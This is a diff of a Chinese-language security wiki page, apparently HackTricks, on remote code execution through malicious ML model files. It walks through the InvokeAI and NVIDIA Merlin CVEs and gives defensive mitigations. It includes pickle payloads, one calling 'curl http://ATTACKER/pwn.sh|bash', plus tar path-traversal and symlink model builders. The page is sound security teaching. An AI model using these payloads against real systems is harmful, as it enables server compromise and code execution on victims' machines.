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d72126b31d
commit
695924222f
@ -1,45 +1,46 @@
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# Models RCE
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# 模型 RCE
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{{#include ../banners/hacktricks-training.md}}
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## 加载模型到 RCE
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## 将模型加载以触发 RCE
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机器学习模型通常以不同格式共享，如 ONNX、TensorFlow、PyTorch 等。这些模型可以加载到开发者的机器或生产系统中使用。通常情况下，模型不应包含恶意代码，但在某些情况下，模型可以被用来在系统上执行任意代码，作为预期功能或由于模型加载库中的漏洞。
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Machine Learning 模型通常以不同格式共享，例如 ONNX、TensorFlow、PyTorch 等。这些模型可以被加载到开发者机器或生产系统中以供使用。通常模型不应包含恶意代码，但在某些情况下，模型可被用来在系统上执行任意代码，既可能是作为设计特性，也可能是因为模型加载库的漏洞。
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在撰写时，这里有一些此类漏洞的示例：
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在撰写本文时，以下是此类漏洞的一些示例：
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| **框架 / 工具** | **漏洞 (如果有 CVE)** | **RCE 向量** | **参考** |
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| **框架 / 工具** | **漏洞（如有 CVE）** | **RCE 向量** | **参考** |
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| **PyTorch** (Python) | *不安全的反序列化在* `torch.load` **(CVE-2025-32434)** | 恶意 pickle 在模型检查点中导致代码执行（绕过 `weights_only` 保护） | |
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| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 恶意模型下载导致代码执行；管理 API 中的 Java 反序列化 RCE | |
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| **TensorFlow/Keras** | **CVE-2021-37678** (不安全的 YAML) <br> **CVE-2024-3660** (Keras Lambda) | 从 YAML 加载模型使用 `yaml.unsafe_load`（代码执行） <br> 使用 **Lambda** 层加载模型运行任意 Python 代码 | |
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| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite 解析) | 精心制作的 `.tflite` 模型触发整数溢出 → 堆损坏（潜在 RCE） | |
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| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | 通过 `joblib.load` 加载模型执行攻击者的 `__reduce__` 负载 | |
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| **NumPy** (Python) | **CVE-2019-6446** (不安全的 `np.load`) *有争议* | `numpy.load` 默认允许 pickle 对象数组 – 恶意 `.npy/.npz` 触发代码执行 | |
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| **ONNX / ONNX Runtime** | **CVE-2022-25882** (目录遍历) <br> **CVE-2024-5187** (tar 遍历) | ONNX 模型的外部权重路径可以逃逸目录（读取任意文件） <br> 恶意 ONNX 模型 tar 可以覆盖任意文件（导致 RCE） | |
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| ONNX Runtime (设计风险) | *(无 CVE)* ONNX 自定义操作 / 控制流 | 带有自定义操作符的模型需要加载攻击者的本地代码；复杂的模型图滥用逻辑以执行意外计算 | |
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| **NVIDIA Triton Server** | **CVE-2023-31036** (路径遍历) | 使用启用 `--model-control` 的模型加载 API 允许相对路径遍历以写入文件（例如，覆盖 `.bashrc` 以实现 RCE） | |
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| **GGML (GGUF 格式)** | **CVE-2024-25664 … 25668** (多个堆溢出) | 格式错误的 GGUF 模型文件导致解析器中的堆缓冲区溢出，使得在受害者系统上执行任意代码 | |
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| **Keras (旧格式)** | *(无新 CVE)* 旧版 Keras H5 模型 | 恶意 HDF5 (`.h5`) 模型中的 Lambda 层代码在加载时仍然执行（Keras safe_mode 不覆盖旧格式 – “降级攻击”） | |
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| **其他** (一般) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具（例如，基于 pickle 的模型格式，Python `pickle.load`）将在未缓解的情况下执行嵌入模型文件中的任意代码 | |
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| **PyTorch** (Python) | *在* `torch.load` *中的不安全反序列化* **(CVE-2025-32434)** | 模型检查点中的恶意 pickle 导致代码执行（绕过 `weights_only` 保护） | |
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| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 恶意模型下载导致代码执行；管理 API 中的 Java 反序列化 RCE | |
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| **NVIDIA Merlin Transformers4Rec** | 通过 `torch.load` 的不安全检查点反序列化 **(CVE-2025-23298)** | 不可信的检查点在 `load_model_trainer_states_from_checkpoint` 期间触发 pickle reducer → 在 ML worker 中执行代码 | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) |
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| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | 从 YAML 加载模型使用 `yaml.unsafe_load`（代码执行） <br> 加载包含 **Lambda** 层的模型会运行任意 Python 代码 | |
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| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 特制的 `.tflite` 模型触发整数溢出 → 堆破坏（可能导致 RCE） | |
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| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | 通过 `joblib.load` 加载模型会执行包含攻击者 `__reduce__` 有效载荷的 pickle | |
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| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` 默认允许序列化的对象数组 —— 恶意 `.npy/.npz` 可触发代码执行 | |
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| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNX 模型的 external-weights 路径可以逃出目录（读取任意文件） <br> 恶意 ONNX 模型 tar 可覆盖任意文件（可能导致 RCE） | |
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| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | 带自定义算子的模型需要加载攻击者的本地代码；复杂的模型图可以滥用逻辑以执行非预期计算 | |
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| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | 在启用 `--model-control` 的情况下使用 model-load API 允许相对路径遍历写入文件（例如覆盖 `.bashrc` 导致 RCE） | |
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| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 格式不正确的 GGUF 模型文件导致解析器出现堆缓冲区溢出，从而在受害系统上实现任意代码执行 | |
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| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 恶意 HDF5 (`.h5`) 模型中包含的 Lambda 层代码在加载时仍然会执行（Keras safe_mode 不覆盖旧格式——“降级攻击”） | |
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| **Others** (general) | *设计缺陷* – Pickle 序列化 | 许多 ML 工具（例如基于 pickle 的模型格式、Python `pickle.load`）会执行嵌入在模型文件中的任意代码，除非采取缓解措施 | |
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此外，还有一些基于 Python pickle 的模型，如 [PyTorch](https://github.com/pytorch/pytorch/security) 使用的模型，如果不使用 `weights_only=True` 加载，则可能被用来在系统上执行任意代码。因此，任何基于 pickle 的模型可能特别容易受到此类攻击，即使它们未在上表中列出。
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此外，有一些基于 Python pickle 的模型（例如 PyTorch 使用的那些）如果没有使用 `weights_only=True` 加载，就可能被用来在系统上执行任意代码。因此，任何基于 pickle 的模型都可能特别容易受到此类攻击，即使它们未列在上表中。
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### 🆕 通过 `torch.load` 调用 InvokeAI RCE (CVE-2024-12029)
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### 🆕 InvokeAI 通过 `torch.load` 的 RCE (CVE-2024-12029)
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`InvokeAI` 是一个流行的开源 Stable-Diffusion 网络界面。版本 **5.3.1 – 5.4.2** 暴露了 REST 端点 `/api/v2/models/install`，允许用户从任意 URL 下载和加载模型。
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`InvokeAI` 是一个流行的开源 Stable-Diffusion web 界面。版本 **5.3.1 – 5.4.2** 暴露了 REST 端点 `/api/v2/models/install`，允许用户从任意 URL 下载并加载模型。
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内部该端点最终调用：
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```python
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checkpoint = torch.load(path, map_location=torch.device("meta"))
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```
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当提供的文件是一个 **PyTorch checkpoint (`*.ckpt`)** 时，`torch.load` 执行 **pickle 反序列化**。由于内容直接来自用户控制的 URL，攻击者可以在检查点中嵌入一个带有自定义 `__reduce__` 方法的恶意对象；该方法在 **反序列化** 期间执行，导致 **远程代码执行 (RCE)** 在 InvokeAI 服务器上。
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当提供的文件是 **PyTorch checkpoint (`*.ckpt`)** 时，`torch.load` 会执行 **pickle 反序列化**。因为内容直接来自用户可控的 URL，攻击者可以在 checkpoint 中嵌入带有自定义 `__reduce__` 方法的恶意对象；该方法在 **反序列化期间** 被执行，从而在 InvokeAI server 上导致 **remote code execution (RCE)**。
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该漏洞被分配为 **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %)。
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该漏洞被分配为 **CVE-2024-12029**（CVSS 9.8，EPSS 61.17%）。
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#### 利用过程
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#### Exploitation walk-through
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1. 创建一个恶意检查点：
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1. 创建一个恶意的 checkpoint:
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```python
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# payload_gen.py
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import pickle, torch, os
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@ -51,8 +52,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
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with open("payload.ckpt", "wb") as f:
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pickle.dump(Payload(), f)
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```
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2. 在您控制的 HTTP 服务器上托管 `payload.ckpt`（例如 `http://ATTACKER/payload.ckpt`）。
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3. 触发易受攻击的端点（不需要身份验证）：
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2. 在你控制的 HTTP 服务器上托管 `payload.ckpt`（例如 `http://ATTACKER/payload.ckpt`）。
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3. 触发 vulnerable endpoint（无需 authentication）：
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```python
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import requests
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@ -67,34 +68,77 @@ json={}, # body can be empty
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timeout=5,
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)
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```
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4. 当 InvokeAI 下载文件时，它调用 `torch.load()` → `os.system` 小工具运行，攻击者在 InvokeAI 进程的上下文中获得代码执行权限。
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4. 当 InvokeAI 下载该文件时它会调用 `torch.load()` → `os.system` gadget 运行，攻击者在 InvokeAI 进程的上下文中获得代码执行权限。
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现成的利用：**Metasploit** 模块 `exploit/linux/http/invokeai_rce_cve_2024_12029` 自动化整个流程。
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Ready-made exploit: **Metasploit** 模块 `exploit/linux/http/invokeai_rce_cve_2024_12029` 自动化整个流程。
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#### 条件
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• InvokeAI 5.3.1-5.4.2（扫描标志默认 **false**）
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• `/api/v2/models/install` 可被攻击者访问
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• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
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• `/api/v2/models/install` 可被攻击者访问
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• 进程具有执行 shell 命令的权限
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#### 缓解措施
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* 升级到 **InvokeAI ≥ 5.4.3** – 补丁默认将 `scan=True`，并在反序列化之前执行恶意软件扫描。
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* 在程序中加载检查点时使用 `torch.load(file, weights_only=True)` 或新的 [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) 辅助工具。
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* 强制执行模型源的允许列表/签名，并以最小权限运行服务。
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* 升级到 **InvokeAI ≥ 5.4.3** – 补丁将 `scan=True` 设为默认，并在反序列化前执行恶意软件扫描。
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* 在以编程方式加载 checkpoints 时使用 `torch.load(file, weights_only=True)` 或新的 [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper。
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* 对 model 来源实施 allow-lists / signatures，并以最小权限运行该服务。
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> ⚠️ 请记住，**任何** 基于 Python pickle 的格式（包括许多 `.pt`、`.pkl`、`.ckpt`、`.pth` 文件）从不受信任的来源反序列化本质上是不安全的。
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> ⚠️ 记住 **任何** 基于 Python pickle 的格式（包括许多 `.pt`, `.pkl`, `.ckpt`, `.pth` 文件）从不受信任的来源反序列化本质上都是不安全的。
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如果您必须保持旧版 InvokeAI 在反向代理后运行的临时缓解措施示例：
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如果你必须在反向代理后保持旧版 InvokeAI 运行，下面是一个临时的缓解示例：
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```nginx
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location /api/v2/models/install {
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deny all; # block direct Internet access
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allow 10.0.0.0/8; # only internal CI network can call it
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}
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```
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## 示例 – 创建恶意 PyTorch 模型
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### 🆕 NVIDIA Merlin Transformers4Rec RCE 通过不安全的 `torch.load` (CVE-2025-23298)
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NVIDIA 的 Transformers4Rec（属于 Merlin）暴露了一个不安全的 checkpoint 加载器，它直接对用户提供的路径调用 `torch.load()`。由于 `torch.load` 依赖于 Python 的 `pickle`，攻击者控制的 checkpoint 可以在反序列化期间通过 reducer 执行任意代码。
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易受攻击的路径（修复前）： `transformers4rec/torch/trainer/trainer.py` → `load_model_trainer_states_from_checkpoint(...)` → `torch.load(...)`。
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为什么这会导致 RCE：在 Python 的 `pickle` 中，对象可以定义一个 reducer（`__reduce__`/`__setstate__`），返回一个可调用对象和参数。该可调用对象会在反序列化期间执行。如果这样的对象存在于 checkpoint 中，它会在任何权重被使用前运行。
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最小的恶意 checkpoint 示例：
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```python
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import torch
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class Evil:
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def __reduce__(self):
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import os
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return (os.system, ("id > /tmp/pwned",))
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# Place the object under a key guaranteed to be deserialized early
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ckpt = {
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"model_state_dict": Evil(),
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"trainer_state": {"epoch": 10},
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}
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torch.save(ckpt, "malicious.ckpt")
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```
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传递载体和影响范围:
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- 通过 repo、bucket 或 artifact registry 共享的被木马化的 checkpoints/models
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- 自动化的 resume/deploy 流水线会自动加载 checkpoints
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- 执行发生在 training/inference workers 中，常常具有提升的权限（例如容器内的 root）
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Fix: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) 将直接的 `torch.load()` 替换为在 `transformers4rec/utils/serialization.py` 中实现的受限、允许列表的反序列化器。新的加载器会验证类型/字段并阻止在加载过程中调用任意可调用对象。
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针对 PyTorch checkpoints 的防御性建议:
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- 不要对不受信任的数据进行 unpickle。尽可能优先使用非可执行格式，如 [Safetensors](https://huggingface.co/docs/safetensors/index) 或 ONNX。
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- 如果必须使用 PyTorch serialization，确保 `weights_only=True`（在较新的 PyTorch 中受支持），或者使用类似于 Transformers4Rec 补丁的自定义允许列表 unpickler。
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- 强制模型来源/签名，并在沙箱中进行反序列化（seccomp/AppArmor；非 root 用户；受限文件系统且无网络出站）。
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- 在 checkpoint 加载时监控 ML 服务产生的意外子进程；追踪 `torch.load()`/`pickle` 的使用。
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POC 以及易受攻击/补丁 参考:
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- 补丁前的易受攻击加载器: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
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- 恶意 checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
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- 补丁后的加载器: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js
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## 示例 – 制作一个恶意的 PyTorch 模型
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- 创建模型：
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```python
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@ -113,7 +157,7 @@ malicious_state = {"fc.weight": MaliciousPayload()}
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# Save the malicious state dict
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||||
torch.save(malicious_state, "malicious_state.pth")
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```
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- 加载模型：
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- 加载模型:
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```python
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# victim_load.py
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import torch
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@ -133,9 +177,9 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
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```
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## Models to Path Traversal
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正如在[**这篇博客文章**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)中所述，不同AI框架使用的大多数模型格式基于归档，通常是`.zip`。因此，可能可以利用这些格式执行路径遍历攻击，从而允许读取加载模型的系统中的任意文件。
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正如在 [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) 中所述，不同 AI 框架使用的大多数模型格式基于归档（通常是 `.zip`）。因此，可能可以滥用这些格式来执行 path traversal attacks，从而读取模型加载所在系统上的任意文件。
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例如，使用以下代码，您可以创建一个模型，当加载时将在`/tmp`目录中创建一个文件：
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例如，使用下面的代码你可以创建一个在加载时会在 `/tmp` 目录中创建文件的模型：
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```python
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import tarfile
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@ -146,7 +190,7 @@ return member
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||||
with tarfile.open("traversal_demo.model", "w:gz") as tf:
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||||
tf.add("harmless.txt", filter=escape)
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```
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或者，使用以下代码，您可以创建一个模型，当加载时会创建一个指向 `/tmp` 目录的符号链接：
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或者，使用下面的代码，你可以创建一个模型，在加载时会创建一个指向 `/tmp` 目录的 symlink：
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```python
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||||
import tarfile, pathlib
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||||
|
||||
@ -161,19 +205,27 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
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||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
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||||
tf.add(PAYLOAD) # rides the symlink
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```
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### 深入探讨：Keras .keras 反序列化和小工具搜索
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### 深入解析: Keras .keras deserialization 和 gadget hunting
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有关 .keras internals、Lambda-layer RCE、≤ 3.8 中的 arbitrary import issue，以及 allowlist 内的 post-fix gadget discovery 的专题指南，请参阅：
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有关 .keras 内部结构、Lambda-layer RCE、≤ 3.8 中的任意导入问题以及修复后在允许列表中发现的小工具的详细指南，请参见：
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{{#ref}}
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../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md
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{{#endref}}
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## 参考文献
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## 参考资料
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- [OffSec 博客 – "CVE-2024-12029 – InvokeAI 不受信任数据的反序列化"](https://www.offsec.com/blog/cve-2024-12029/)
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||||
- [InvokeAI 补丁提交 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit 模块文档](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
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||||
- [PyTorch – torch.load 的安全考虑](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin)
|
||||
- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/)
|
||||
- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903)
|
||||
- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js)
|
||||
- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
|
||||
- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
|
||||
- [Hugging Face Transformers](https://github.com/huggingface/transformers)
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{{#include ../banners/hacktricks-training.md}}
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